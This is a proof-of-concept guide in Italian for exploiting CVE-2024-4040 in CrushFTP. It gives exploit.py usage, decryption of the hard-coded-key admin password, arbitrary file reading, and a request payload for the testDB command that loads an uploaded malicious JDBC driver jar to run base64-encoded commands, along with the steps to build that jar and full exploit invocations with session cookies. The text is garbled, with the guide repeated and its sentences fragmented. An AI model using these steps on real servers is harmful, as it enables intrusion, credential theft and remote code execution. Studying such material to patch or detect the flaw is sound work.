
CVE-2024-4040 PoC
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volumn>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest
exploit.py e decrypt.java si ottiene e decritta la password; in breve, la chiave è hardcoded, quindi può essere decrittata e si possono anche leggere file arbitrari.crushadmin, non esiste, si può provare a recuperare CrushFTP.log, che contiene informazioni utili sugli account.
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
user.XML.crushadmin.decrypt.java.--shell serve per visualizzare comodamente i risultati dopo l'RCE; dopo aver caricato il file jar come descritto di seguito, specificando --jar-path e --headers è possibile vedere il risultato del comando eseguito.
--headers va sempre inserito il Cookie successivo al login, ad esempio --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE".--jar-path è /tmp/mysql_cmd_db_user_final_with_echo_base64.jar; se il file si trova in un'altra posizione, ricordarsi di specificare il percorso. In teoria funzionano anche i percorsi relativi, ma è consigliato usare un percorso assoluto.
User Manager, fare clic sull'utente a sinistra, trascinare la cartella che si desidera mappare nella sezione User's Stuff e infine regolare i permessi: la casella upload deve essere assolutamente spuntata.


testDB che consente di specificare un file jar e un driver object; insieme alla possibilità di caricare file, basta collegare questi due elementi per ottenere l'RCE.command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
id.db_user, è possibile eseguirlo.mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp
exploit.py e decrypt.java per ottenere e decrittare la password. La chiave è hardcoded, quindi è possibile decrittarla e leggere file arbitrari.crushadmin, non esiste, si può provare a recuperare CrushFTP.log per trovare informazioni sugli account.
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
user.XML.crushadmin.decrypt.java per decrittarla.--shell serve per visualizzare comodamente i risultati dopo l'esecuzione remota di codice (RCE). Dopo aver caricato il file jar con la procedura seguente, specificare --jar-path e --headers per vedere il risultato del comando eseguito:
--headers deve includere il Cookie successivo al login, ad esempio --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE".--jar-path è /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. Se si trova in un'altra posizione, assicurarsi di specificare il percorso. In teoria funzionano anche i percorsi relativi, ma sono consigliati quelli assoluti.
User Manager, fare clic sull'utente a sinistra, trascinare la cartella da mappare nella sezione User's Stuff e infine regolare i permessi. Assicurarsi che upload sia spuntato.


testDB in cui è possibile specificare il file jar e il driver object; poiché si possono anche caricare file, combinando questi due elementi si ottiene l'RCE.command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
id.db_user per eseguirlo.mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *exit.python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
exit.python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"